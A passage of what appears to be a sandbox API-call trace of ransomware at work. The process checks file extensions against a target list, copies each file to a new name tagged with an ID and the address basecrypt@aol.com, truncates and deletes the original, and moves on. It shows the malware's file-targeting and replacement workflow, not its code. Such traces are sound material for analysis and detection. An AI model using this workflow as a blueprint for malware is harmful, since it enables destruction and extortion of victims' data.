(lpString1=".docx", lpString2="7.log") returned -1 [0101.193] lstrlenW (lpString=".pdf") returned 4 [0101.193] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0101.193] lstrlenW (lpString=".xls") returned 4 [0101.193] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0101.193] lstrlenW (lpString=".xlsx") returned 5 [0101.193] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0101.193] lstrlenW (lpString=".ppt") returned 4 [0101.193] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0101.193] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.193] lstrlenW (lpString=".zip") returned 4 [0101.194] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0101.194] lstrlenW (lpString=".rar") returned 4 [0101.194] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0101.194] lstrlenW (lpString=".bz2") returned 4 [0101.194] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0101.194] lstrlenW (lpString=".7z") returned 3 [0101.194] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0101.194] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.194] lstrlenW (lpString=".dbf") returned 4 [0101.194] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0101.194] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.194] lstrlenW (lpString=".1cd") returned 4 [0101.194] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0101.194] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.194] lstrlenW (lpString=".jpg") returned 4 [0101.194] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0101.194] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.194] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.194] lstrlenW (lpString=".doc") returned 4 [0101.194] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0101.194] lstrlenW (lpString=".docx") returned 5 [0101.194] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0101.194] lstrlenW (lpString=".pdf") returned 4 [0101.194] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0101.194] lstrlenW (lpString=".xls") returned 4 [0101.195] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0101.195] lstrlenW (lpString=".xlsx") returned 5 [0101.195] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0101.195] lstrlenW (lpString=".ppt") returned 4 [0101.195] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0101.195] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.195] lstrlenW (lpString=".zip") returned 4 [0101.195] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0101.195] lstrlenW (lpString=".rar") returned 4 [0101.195] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0101.195] lstrlenW (lpString=".bz2") returned 4 [0101.195] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0101.195] lstrlenW (lpString=".7z") returned 3 [0101.195] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0101.195] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.195] lstrlenW (lpString=".dbf") returned 4 [0101.195] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0101.195] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.195] lstrlenW (lpString=".1cd") returned 4 [0101.195] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0101.195] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.195] lstrlenW (lpString=".jpg") returned 4 [0101.195] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0101.196] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0101.196] lstrlenW (lpString="eula.rtf") returned 8 [0101.196] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0101.198] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=7567) returned 1 [0101.198] CloseHandle (hObject=0x2ec) returned 1 [0101.198] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0101.198] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.198] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0101.198] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.198] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0101.200] GetLastError () returned 0x0 [0101.200] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0101.412] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x1d90, lpOverlapped=0x0) returned 1 [0101.413] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0101.413] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0101.413] SetEndOfFile (hFile=0x2f4) returned 1 [0101.413] CloseHandle (hObject=0x2f4) returned 1 [0101.414] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.414] SetEndOfFile (hFile=0x2ec) returned 1 [0101.415] CloseHandle (hObject=0x2ec) returned 1 [0101.415] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0101.415] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0101.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.415] lstrlenW (lpString=".doc") returned 4 [0101.415] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.416] lstrlenW (lpString=".docx") returned 5 [0101.416] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.416] lstrlenW (lpString=".pdf") returned 4 [0101.416] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.416] lstrlenW (lpString=".xls") returned 4 [0101.416] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.416] lstrlenW (lpString=".xlsx") returned 5 [0101.416] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.416] lstrlenW (lpString=".ppt") returned 4 [0101.416] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.416] lstrlenW (lpString=".zip") returned 4 [0101.416] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.416] lstrlenW (lpString=".rar") returned 4 [0101.416] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.416] lstrlenW (lpString=".bz2") returned 4 [0101.416] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.416] lstrlenW (lpString=".7z") returned 3 [0101.416] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.416] lstrlenW (lpString=".dbf") returned 4 [0101.416] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.416] lstrlenW (lpString=".1cd") returned 4 [0101.416] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.416] lstrlenW (lpString=".jpg") returned 4 [0101.416] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.416] lstrlenW (lpString=".doc") returned 4 [0101.417] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.417] lstrlenW (lpString=".docx") returned 5 [0101.417] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.417] lstrlenW (lpString=".pdf") returned 4 [0101.417] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.417] lstrlenW (lpString=".xls") returned 4 [0101.417] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.417] lstrlenW (lpString=".xlsx") returned 5 [0101.417] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.417] lstrlenW (lpString=".ppt") returned 4 [0101.417] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.417] lstrlenW (lpString=".zip") returned 4 [0101.417] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.417] lstrlenW (lpString=".rar") returned 4 [0101.417] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.417] lstrlenW (lpString=".bz2") returned 4 [0101.417] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.417] lstrlenW (lpString=".7z") returned 3 [0101.417] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.417] lstrlenW (lpString=".dbf") returned 4 [0101.417] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.417] lstrlenW (lpString=".1cd") returned 4 [0101.417] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0101.417] lstrlenW (lpString=".jpg") returned 4 [0101.417] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.418] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0101.418] lstrlenW (lpString="eula.rtf") returned 8 [0101.418] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0101.482] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=3726) returned 1 [0101.482] CloseHandle (hObject=0x2e0) returned 1 [0101.482] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0101.482] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.482] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0101.482] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.482] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.482] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0101.488] GetLastError () returned 0x0 [0101.488] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0xe8e, lpOverlapped=0x0) returned 1 [0101.519] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe90, lpOverlapped=0x0) returned 1 [0101.520] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0101.520] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0101.520] SetEndOfFile (hFile=0x2ec) returned 1 [0101.520] CloseHandle (hObject=0x2ec) returned 1 [0101.521] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.521] SetEndOfFile (hFile=0x2e0) returned 1 [0101.521] CloseHandle (hObject=0x2e0) returned 1 [0101.522] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0101.528] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0101.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.528] lstrlenW (lpString=".doc") returned 4 [0101.528] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.528] lstrlenW (lpString=".docx") returned 5 [0101.528] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.528] lstrlenW (lpString=".pdf") returned 4 [0101.529] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString=".xls") returned 4 [0101.529] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.529] lstrlenW (lpString=".xlsx") returned 5 [0101.529] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.529] lstrlenW (lpString=".ppt") returned 4 [0101.529] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.529] lstrlenW (lpString=".zip") returned 4 [0101.529] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.529] lstrlenW (lpString=".rar") returned 4 [0101.529] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString=".bz2") returned 4 [0101.529] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString=".7z") returned 3 [0101.529] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.529] lstrlenW (lpString=".dbf") returned 4 [0101.529] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.529] lstrlenW (lpString=".1cd") returned 4 [0101.529] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.529] lstrlenW (lpString=".jpg") returned 4 [0101.529] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.529] lstrlenW (lpString=".doc") returned 4 [0101.529] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString=".docx") returned 5 [0101.529] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.529] lstrlenW (lpString=".pdf") returned 4 [0101.529] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.529] lstrlenW (lpString=".xls") returned 4 [0101.530] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.530] lstrlenW (lpString=".xlsx") returned 5 [0101.530] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.530] lstrlenW (lpString=".ppt") returned 4 [0101.530] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.530] lstrlenW (lpString=".zip") returned 4 [0101.530] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.530] lstrlenW (lpString=".rar") returned 4 [0101.530] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.530] lstrlenW (lpString=".bz2") returned 4 [0101.530] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.530] lstrlenW (lpString=".7z") returned 3 [0101.530] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.530] lstrlenW (lpString=".dbf") returned 4 [0101.530] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.530] lstrlenW (lpString=".1cd") returned 4 [0101.530] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0101.530] lstrlenW (lpString=".jpg") returned 4 [0101.530] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.530] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0101.530] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0101.538] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=77748) returned 1 [0101.538] CloseHandle (hObject=0x314) returned 1 [0101.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0101.539] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0101.539] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.539] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0101.539] GetLastError () returned 0x0 [0101.539] ReadFile (in: hFile=0x314, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0102.032] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0102.034] ReadFile (in: hFile=0x314, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.034] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.034] SetEndOfFile (hFile=0x2f4) returned 1 [0102.034] CloseHandle (hObject=0x2f4) returned 1 [0102.037] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.037] SetEndOfFile (hFile=0x314) returned 1 [0102.039] CloseHandle (hObject=0x314) returned 1 [0102.039] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.039] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0102.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.040] lstrlenW (lpString=".doc") returned 4 [0102.040] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.040] lstrlenW (lpString=".docx") returned 5 [0102.040] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.040] lstrlenW (lpString=".pdf") returned 4 [0102.040] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.040] lstrlenW (lpString=".xls") returned 4 [0102.040] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.040] lstrlenW (lpString=".xlsx") returned 5 [0102.040] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.040] lstrlenW (lpString=".ppt") returned 4 [0102.040] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.040] lstrlenW (lpString=".zip") returned 4 [0102.040] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.040] lstrlenW (lpString=".rar") returned 4 [0102.040] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.040] lstrlenW (lpString=".bz2") returned 4 [0102.040] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.040] lstrlenW (lpString=".7z") returned 3 [0102.040] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.041] lstrlenW (lpString=".dbf") returned 4 [0102.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.041] lstrlenW (lpString=".1cd") returned 4 [0102.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.041] lstrlenW (lpString=".jpg") returned 4 [0102.041] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.041] lstrlenW (lpString=".doc") returned 4 [0102.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.041] lstrlenW (lpString=".docx") returned 5 [0102.041] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.041] lstrlenW (lpString=".pdf") returned 4 [0102.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.041] lstrlenW (lpString=".xls") returned 4 [0102.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.041] lstrlenW (lpString=".xlsx") returned 5 [0102.041] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.041] lstrlenW (lpString=".ppt") returned 4 [0102.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.041] lstrlenW 